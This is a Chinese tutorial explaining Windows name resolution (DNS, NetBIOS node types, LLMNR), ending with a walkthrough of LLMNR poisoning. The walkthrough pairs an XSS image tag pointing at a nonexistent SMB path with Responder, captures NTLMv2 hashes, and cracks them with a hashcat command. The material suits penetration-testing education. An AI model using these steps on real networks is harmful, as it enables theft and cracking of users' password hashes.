Windows名称解析与相应攻击方法
目录
名称解析的主要协议
DNS
dns协议支持IPV4,IPV6,DNS服务器DNS服务的监听端口是UDP/53。
工作机理
1.读取本机的DNS缓存,即HOST文件来进行DNS名称解析 2.若本地没有对应的名称记录,则请求网络配置的DNS服务器 3.若DNS服务器也没有对应响应,则DNS质询失败。
NETBIOS
netbois 监听端口为 UDP/137,它不支持IPV6,它与DNS的不同是它除了通过特定服务器还可以通过广播来进行名称解析。
工作机理(H-节点)
1.检查本地NetBois缓存,有缓存则完成名称解析。(使用nbtstat -c命令查看本机的 NetBIOS 缓存) 2.若无缓存,且配置了WINS服务器,则通过WINS服务器来进行名称解析(和DNS服务器很像) 3.若没有WINS服务器或者WINS服务器无响应,则向当前网段发送广播进行质询(和ARP有点像),若有主机响应则完成名称解析 4.若广播后无任何主机响应,则读取本地Imhosts文件,其存在于C:\Windows\System32\drivers\etc\,(和DNS本地查询很像)
节点类型
NETBIOS的实际工作情况并不是像刚刚说的那么死板,实际上,NETBIOS名称解析有四种不同的工作顺序.
B-节点(broadcast,广播)
当 Windows 尝试解析名称时,首先检查 NetBois缓存,如果此行不通,Windows 就会发送广播,如果广播依然失败的话,那Windows 才会检查实际的 LMHOSTS 文件。
P-节点(per-to-per,对等)
这种方法并不使用广播,而是在计算机启动时,在网络中的 WINS 服务器上注册它们的名称,当计算机需要解析名称时,它会发送一个解析请求给 WINS 服务器。这种方法只在 WINS 服务器正常运行时有效,如果 WINS 服务器失败,则无法进行名称解析。
M-节点(mixed,混合)
Windows 联合使用 B 节点和 P 节点,并且默认使用 B 节点,如果 M 节点不能利用广播进行名称解析,它就使用 P 节点的 WINS 服务器来完成工作。
H-节点(hybrid,混合)
同样也是联合使用 B 节点和 P 节点,但工作方式相反,如果使用 WINS 服务器方式不能成功,则使用 B 节点的工作来完成工作。此节点模式也是目前 Windows 系统默认使用的节点模式。
节点模式可以在ipconfig /all 的节点类型处看到。
LLMNR
LLMNR不依赖于任何独立服务器 ,它仅靠多播来实现名称解析。它再Windows Vista版本之后出现。 它又被称作“多播DNS”,监听端口为 UDP/5355
工作机理
1.检查NetBios缓存。 2.若无缓存,则向当前网域发送广播。 3.若有主机响应,则解析成功。反之则不成功。
针对名称解析的攻击方法
LLMNR 投毒
下图为LLMNR的正常流程
被毒化后
实际上LLMNR投毒并不复杂,无非就是应答LLMNR请求包从而冒充自己为另一台主机。 在内网环境中诸多名称解析服务都是通过DNS完成的,只有少数如SMB共享和ping还有远程连接(win10会先通过DNS进行解析,DNS解析失败才会使用LLMNR)会使用LLMNR进行名称解析。
smb请求一个不存在的smb地址,触发LLMNR名称解析(win10)
远程连接一个不存在的主机,触发LLMNR名称解析(WIN10
LLMNR投毒的主要攻击方式就是通过在某一机器发起SMB请求时进行冒充,截获目标在SMB通信中发送的hash并进行解密,从而获取用户的密码hash。 或者冒充WEB服务器进行钓鱼(由于目前LLMNR解析往往只用于SMB和ICMP还有RDP,所以与HTTP沾边的方法很难用到)。
SMB爆破hash
我们有必要了解一下,SMB的工作机制。
实际上SMB在确认对方身份时,用的是NTLM协议。
所以我们可以通过xss向一个web页面中插入像这样的代码
<img src=\\test\1.jpg>
其中test这一个SMB名称实际上是不存在的,故访问该页面的主机会通过LLMNR去广播解析这个名称对应的IP。我们这个时候将其劫持,回应说自己便是test,接下来就会进入到SMB的身份验证环节:我们向发送SMB请求的机器发送一个challenge,对方便会返回一个其用自己HASH加密的加密字符串response(也就是NTLMv2)过来。我们拿到response后通过爆破工具进行爆破其密钥,便有爆破出其CLIENT HASH的可能性。
我们用responder进行毒化,在用户访问一个不存在的SMB路径时进行LLMNR应答,发送challenge:1122334455667788并截获其NTLMv2
随后将NTLMv2-SSP HASH复制到一个文件中,将爆破的密码列表放入另一个文件中。
hashcat -m 5600 hash.txt password.txt
成功爆破出